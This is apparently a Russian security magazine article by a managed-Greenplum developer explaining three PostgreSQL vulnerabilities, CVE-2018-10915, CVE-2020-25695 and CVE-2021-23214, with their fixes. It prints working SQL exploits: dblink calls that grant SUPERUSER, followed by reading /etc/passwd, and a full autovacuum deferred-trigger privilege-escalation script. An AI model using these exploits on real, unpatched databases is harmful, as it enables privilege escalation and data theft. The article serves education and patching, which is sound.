Содержание статьи
warning
Статья имеет ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование в рамках контракта. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону.
Недавно я участвовал в создании управляемого Greenplum для Yandex.Cloud. Greenplum — это аналитическая база на основе старого доброго PostgreSQL. Про добрый — это такая присказка. А вот старый Postgres там во весь рост. Greenplum 6 сделан на основе PostgreSQL 9.4, для которого обновления безопасности не выпускаются с доковидных времен.
Что значит термин «управляемый» применительно к Greenplum? Наши обвязки — Control Plane — автоматически соединяются с базой, делают бэкапы, мониторят, не сломалось ли чего, устанавливают обновления и все такое прочее. Исторически во всех базах данных есть суперпользователь. Это — уровень, на котором пользователь может все, что доступно процессу базы. В частности, он может атаковать Control Plane. Поэтому в управляемых базах привилегии суперпользователя обычно недоступны, а если доступны — это представляет серьезную опасность для данных. Какой‑нибудь буйный сосед может атаковать Control Plane, а потом и всю нашу базу. Поэтому каждую уязвимость «Постгреса» я теперь рассматриваю как повод пропатчить Greenplum.
Вообще, у «Постгреса» имеется тонна форков. Потенциально все они уязвимы ко всему, что будет перечислено в этой статье. В результате на таких базах начинают майнить или случаются истории как с фотками Скарлет. Кроме того, многие облака не заставляют пользователей апгрейдиться после end of life мажорной версии. У некоторых, как, например, у Redshift, есть программы bug bounty. Если у тебя в запасе уйма свободного времени — это хороший шанс конвертировать знания в деньги.
Может показаться, что эпичные дыры в безопасности — верный признак «решета», которым лучше не пользоваться. Это не так. Открытая публикация всех исторических уязвимостей — то, что не дает заметать под ковер zero day. Понятный процесс поддержки и обновления мажорных версий пилит комитет PostgreSQL security. Он не зависит от одной коммерческой компании и прозрачно формируется из множества членов сообщества, известных своим дотошным ревью кода. Хочешь поместить закладку в код «Постгреса», как это случилось с ядром Linux? Для одной попытки потребуются многие годы работы, если не десятилетия.
Что ж, перейдем, наконец, к сути. Чем можно себя развлечь, встретив недопатченный «Постгрес»?
CVE-2018-10915. Хитрые строки подключения
Уязвимости CVE-2018-10915 подвержены версии 10.4, 9.6.9 и более древние. Сама уязвимость называется Certain host connection parameters defeat client-side security defenses, и может показаться, будто речь идет об опасности на стороне клиента, а не сервера. Но CVSS score 8,5 намекает, что все не так просто.
Когда сервер открывает соединения по просьбе клиента — это всегда потенциальная угроза. Если твой веб‑сервер проходит по URL’у, полученному от клиента, — клиент обязательно подсунет URL для заказа пиццы в ваш дата‑центр.
История из жизни сообщества
Один раз мы пришли в сообщество с предложением разрешить непривилегированным пользователям создавать подписки логической репликации. В сообществе нам намекнули, что создание исходящих соединений — уже отличный способ остаться с голой базой против ежа. И действительно, немного подумав, мы нашли способ взломать собственный набор патчей.
В PostgreSQL для обращения к данным на соседних серверах есть специальные расширения — dblink и postgres_fdw. Они позволяют использовать таблицы на других серверах (необязательно PostgreSQL) в SQL-запросах.
Postgres_fdw — это чуть более удобный способ сделать ровно то же самое. Пользователь не передает запросы текстом, а локально видит удаленную таблицу как обычную.
Если в базе данных уже создано одно из этих двух расширений, пользователь может сходить с адреса сервера PostgreSQL куда‑нибудь за данными. Уже сам по себе этот факт когда‑то создавал прикольную уязвимость CVE-2007-6601. Причем не нужно даже лазить куда‑то далеко — можно просто прийти от сервера к самому себе и попросить локальное соединение.
Такой Уроборос возможен потому, что в host based authentication (pg_hba.
) часто можно видеть какие‑нибудь прикольные строчки вроде тех, что приведены ниже. Дословно они означают «локальным соединениям — верить».
# "local" is for Unix domain socket connections onlylocal all all trust# IPv4 local connections:host all all 127.0.0.1/32 trust# IPv6 local connections:host all all ::1/128 trust
Они туда приезжают из докер‑образа или при инициализации с initdb
. Что же делать с такой возможностью?
postgres=# SELECT dblink_exec('host=localhost dbname=postgres','ALTER USER x4m WITH SUPERUSER;'); dblink_exec ------------- ALTER ROLE(1 row)postgres=# \c postgresYou are now connected to database "postgres" as user "x4m".postgres=# CREATE TABLE pwn(t TEXT);CREATE TABLEpostgres=# COPY pwn FROM '/etc/passwd';COPY 27postgres=# SELECT * FROM pwn;
info
Сразу отмечу два момента.
- Конечно, это стриггерит мониторинги — для защиты от таких взломов необходимо постоянно проверять whitelist суперъюзеров в системе. Это совсем несложно технически и в хороших системах давно сделано. Но неприятности могут начаться еще до того, как на хост прибегут безопасники с щипцами и паяльником.
- Хорошую инструкцию по основам хакинга PostgreSQL можно найти на pentest-wiki. Некоторые примеры в этой статье взяты оттуда.
Разумеется, такую уязвимость запатчили еще в далеком 2007 году (Дуров, верни стену!). Причем запатчили нехитрым способом, теперь dblink и postgres_fdw не согласны идти куда‑либо без пароля!
static voiddblink_security_check(PGconn *conn, remoteConn *rconn){ if (!superuser()) { if (!PQconnectionUsedPassword(conn)) { PQfinish(conn); if (rconn) pfree(rconn); ereport(ERROR, (errcode(ERRCODE_S_R_E_PROHIBITED_SQL_STATEMENT_ATTEMPTED), errmsg("password is required"), errdetail("Non-superuser cannot connect if the server does not request a password."), errhint("Target server's authentication method must be changed."))); } }}
Вот и славно, теперь все безопасно, мы не используем беспарольные соединения от адреса нашего сервера. Защитили себя от самих себя. Но прогресс (как и «Постгрес») не стоит на месте, новые фичи принесут новые баги!
В 2010-х сообщество Postgres активно пилило фичи для захода в рынок Enterprise-систем. Одна из таких фич — построение высокодоступной (highly available) базы данных. Дело в том, что любое железо может рано или поздно отказать: диски иногда сыплются как песок, память страдает от космических лучей, проц перегревается, сетевой свич получает бажную прошивку, кабель до дата‑центра перегрызает злобный хомяк и так далее. Стандартный подход для решения таких проблем — дублирование систем. У авиалайнера как минимум два двигателя, у парашютиста два парашюта, у Вупсеня — Пупсень, у Пупы — Лупа.
Так и PostgreSQL умеет реплицировать полную бинарную копию данных на другое железо, где вероятность одновременного отказа минимизирована. При этом клиент имеет два или больше hostname’ов и не знает, кто есть кто, до открытия соединения.
Клиент может указать в строке соединения, нужен ли ему Primary для записи, или подойдет любой живой Standby, где можно выполнить только читающие запросы. Строка соединения при этом выглядит так.
postgresql://host1:port2,host2:port2/?target_session_attrs=read-write
Это фича PostgreSQL 10, о ней можно подробнее почитать тут. Но и в PostgreSQL 9.6 можно сделать то же самое, если один DNS name вернет несколько IP-адресов.
Суть уязвимости CVE-2018-10915 заключается в том, что, один раз использовав пароль для аутентификации, dblink и postgres_fdw согласны зайти к следующим хостам без пароля. Нам достаточно поднять свою реплику, доступную серверу по сети, аутентифицироваться в ней, а затем вернуться в localhost.
postgres=# SELECT dblink_exec('host=my.standby.xyz,localhost dbname=postgres password=imahacker','ALTER USER x4m WITH SUPERUSER;'); dblink_exec ------------- ALTER ROLE(1 row)
Здесь пароль imahacker
подходит к реплике my.
, а localhost
пароль уже не спрашивает.
Фикс и подробное описание от Тома Лэйна можно почитать в коммите d1c6a14. CVE-2018-10915 была обнаружена Андреем Красичковым aka buglloc. Если тебе интересно больше деталей (и немного философии), то стоит почитать его хак‑стори. Там подробнее описан бажный код и эксплуатация, в том числе в версии 9.6 без target session attrs.
Версия 9.6 примечательна, например, тем, что на данный момент это дефолтная версия в Astra Linux. А еще у нее end of life в начале ноября 2021-го — надеюсь, в «Астре» все пропатчат, потому что новые CVE в 9.6 фикситься не будут.
CVE-2020-25695. Кручу, верчу, запутать хочу
Уязвимости CVE-2020-25695 подвержены 13.0, 12.4, 11.10, 10.15 и другие мажорные версии, нынче уже достигшие EOL. Overall score 8,8. В уязвимости также эксплуатируется комбинация из множества нетривиальных фич. Тем не менее эксплуатация подходит для script kiddies — просто зафигачь SQL-запрос, и готово, никакой возни с подставными репликами, написанием кода или чего‑то такого. Если ты из таких — в конце раздела по ссылке можешь скачать full sploit из статьи исследователя, открывшего уязвимость. А я тут пока расскажу, что за фичи привели к уязвимости.
Ахиллесова пята PostgreSQL — процесс вакуумизации aka VACUUM. Он удаляет версии данных, которые нет необходимости видеть новым транзакциям. Иногда его запускает сисадмин или cron от имени сисадмина. Иногда он запускается сам — когда удалилось или обновилось достаточно много строк. В этом случае он называется autovacuum. И запускается он от имени суперпользователя.
Вот бы добавить какого‑нибудь кода к вакууму, чтобы он выполнился от имени суперпользователя, да? Об этом разработчики Postgres, конечно, подумали. На время вакуумизации конкретной таблицы контекст выполнения переключается на владельца таблицы. Если мы запилили свою таблицу — ну, наши функции при ее вакуумизации выполнятся с нашими правами. Работает это так.
/* Switch to the table owner's userid... */SetUserIdAndSecContext(onerel->rd_rel->relowner, save_sec_context | SECURITY_RESTRICTED_OPERATION);// Вакуумизируем на все деньги/* Restore userid and security context */SetUserIdAndSecContext(save_userid, save_sec_context);CommitTransactionCommand();
Получается, что нам нужно во время вакуумизации отложить взлом до момента окончания транзакции. Потому что до коммита мы выполняемся с недостаточно крутым контекстом. Решение этой задачи довольно простое: можно создать триггер DEFERRED
, который выполнится при коммите. Вот кусочек кода из advisory отправленного при репорте бага.
/* create a CONSTRAINT TRIGGER, which is deferred deferred causes it to trigger on commit, by which time the user has been switched back to the invoking user, rather than the owner*/CREATE CONSTRAINT TRIGGER def AFTER INSERT ON t0 INITIALLY DEFERRED FOR EACH ROW EXECUTE PROCEDURE strig();
Как нам сделать, чтобы этот триггер вызвался во время вакуума? Для этого нужно, чтобы вакуум вставлял данные, а он их удаляет... Просто надо сделать так, чтобы вакуум одной таблицы вставлял данные в другую!
Какие функции вызываются при вакууме? Функции индексов по выражению. Рассмотрим код эксплоита полностью.
CREATE TABLE t0 (s varchar);CREATE TABLE t1 (s varchar);CREATE TABLE exp (a int, b int);CREATE OR REPLACE FUNCTION sfunc(integer) RETURNS integer LANGUAGE sql IMMUTABLE AS'SELECT $1'; -- При создании индекса по выражению функция должна быть IMMUTABLE, то есть БЕСПОЛЕЗНАCREATE INDEX indy ON exp (sfunc(a));CREATE OR REPLACE FUNCTION sfunc(integer) RETURNS integer LANGUAGE sql SECURITY INVOKER AS'INSERT INTO fooz.public.t0 VALUES (current_user); SELECT $1'; -- Заменим функцию мутабельнойCREATE OR REPLACE FUNCTION snfunc(integer) RETURNS integer LANGUAGE sql SECURITY INVOKER AS'ALTER USER foo SUPERUSER; SELECT $1'; -- Функция, вызываемая из DEFERRED триггераCREATE OR REPLACE FUNCTION strig() RETURNS triggerAS $e$ BEGINPERFORM fooz.public.snfunc(1000); RETURN NEW;END $e$LANGUAGE plpgsql; -- Функция триггераCREATE CONSTRAINT TRIGGER def AFTER INSERT ON t0 INITIALLY DEFERRED FOR EACH ROW EXECUTE PROCEDURE strig();ANALYZE exp;INSERT INTO exp VALUES (1,1), (2,3),(4,5),(6,7),(8,9);DELETE FROM exp;INSERT INTO exp VALUES (1,1);ALTER TABLE exp SET (autovacuum_vacuum_threshold = 1);ALTER TABLE exp SET (autovacuum_analyze_threshold = 1);
Здесь вакуум exp
вызывает sfunc(
, которая вставляет данные в t0
. Затем триггер на t0
вызывает string(
в конце транзакции с контекстом суперпользователя, который, в свою очередь, вызывает snfunc(
. А он грантит суперпользователя атакующему. Для эксплуатации этой уязвимости нужна возможность создавать таблицы и индексы.
CVE-2020-25695 найдена Этьеном Столмансом aka staaldraad и подробно описана в его блоге. Денис Смирнов также адаптировал эту уязвимость для GreenplumDB.
CVE-2021-23214. TLS — это надежно, TLS — это безопасно
Уязвимости CVE-2021-23214 подвержены 14.0, 13.4, 12.8, 11.13, 10.18. Overall score 8,1. А еще уязвимы оказались все пулеры соединений — PgBouncer, PgPool II и Odyssey.
TLDR: если используется клиентская аутентификация по TLS-сертификату и есть MITM, можно в начало соединения добавить выполнение своего запроса.
Постгресный протокол обмена данными построен на сообщениях. Каждое сообщение начинается с 4 байт, содержащих информацию о размере сообщения. Потом идет один байт, определяющий тип пакета. Оставшееся место может быть занято пакетоспецифичными данными.
Нормальный сервер первым делом отправит клиенту startup-сообщение с предложением перейти на TLS-шифрование, получит согласие клиента, передаст сокет библиотеке OpenSSL, а от нее уже получит безопасный канал для общения, где проведет аутентификацию.
В PostgreSQL аутентифицироваться можно по‑разному. Например, по паролю открытым текстом. Но это стремно со всех сторон. Можно воспользоваться MD5-аутентификацией: сервер пришлет соль, клиент перехеширует пароль, себя и соль, а потом отправит серверу. Но при этом, взломав базу и прочитав представление pg_authid, можно получить достаточно данных, чтобы зайти в базу любым другим пользователем с MD5-аутентификацией.
Можно воспользоваться схемой SCRAM-SHA-256, при этом взлом базы не позволит использовать полученные секреты. Даже зайти в ту же самую базу по стыренным данным не получится.
А можно вообще «делегировать ответственность Фунту» — использовать аутентификацию по TLS-сертификатам. При этом, когда установлено TLS-соединение, Common Name сертификата будет сравниваться с пользовательским. Если они совпали — значит, у клиента есть сертификат, выписанный доверенным центром. У такого подхода много плюсов: например, ротация секретов больше не проблема DBA. Пусть клиент сам разбирается, где добыть валидный серт, если старый протух.
Если вся база целиком украдена, в ней не добыть вообще никаких аутентификационных данных. Проверка сертификата написана настоящими сварщиками от криптографии, осталось только взять их код. Но есть нюанс.
У PostgreSQL довольно мелкие пакеты. Например, пакет ReadyForQuery — 6 байт. Для чтения из сокета необходим системный вызов — это долго. Поэтому Postgres и все пулеры читают данные про запас. Кто‑то называет это буферизацией, кто‑то — readahead. Из буфера readahead байты идут уже на парсинг пакетов. Буфер readahead наполняется напрямую из сетевого сокета либо из потока TLS в шифрованном соединении. А вот в момент смены нешифрованного соединения происходит... а ничего не происходит.
В OpenSSL передается не буфер readahead, а само сетевое соединение. Те байты, что пришли нешифрованными, остаются лежать как бы считанными. Как будто полученными из шифрованного соединения. Этим может воспользоваться man in the middle, добавив вслед за startup-сообщением сообщение SimpleQuery с простым запросом "CREATE
. Когда аутентификация в OpenSSL будет успешно завершена, сервер продолжит считывать сообщения из буфера readahead и выполнит SimpleQuery, как если бы он пришел от пользователя.
У этой уязвимости есть и симметричная клиентская CVE-2021-23222: MITM может подсунуть свой ответ на первые запросы клиента вместо того, что говорит сервер на самом деле. Но эксплуатация этой уязвимости требует нефигового знания кода клиентского приложения. Например, как‑то так.
В Postgres фикс клиентской и серверной уязвимостей предполагает не только сброс буфера после startup-пакета, но и запись в лог о попытке нахимичить с TLS. В актуальных версиях попытка эксплуатации не пройдет незамеченной и, вероятно, разбудит мониторинги безопасности. Мой фикс для этих уязвимостей в «Одиссее» выглядит так. В «Одиссее» они, кстати, известны под другими номерами: CVE-2021-43766 и CVE-2021-43767.
CVE-2021-23214 и подобные уязвимости в PG найдены Джейкобом Чемпионом, после выхода фиксов он написал довольно интересный список пожеланий к проекту для повышения безопасности в будущем.
Заключение...
...тюремное может грозить при использовании этой информации необдуманно. Помни, что все эти развлечения представлены тут, просто чтобы подумать о вечном, битах и байтах, все такое. Ставь апдейты своевременно. Используй эксплоиты, только чтобы учиться, исследовать и этично репортить о проблемах безопасности. А еще не забывай вовремя делать резервные копии, например с помощью инструмента для резервного копирования баз данных, разработкой которого я занимаюсь.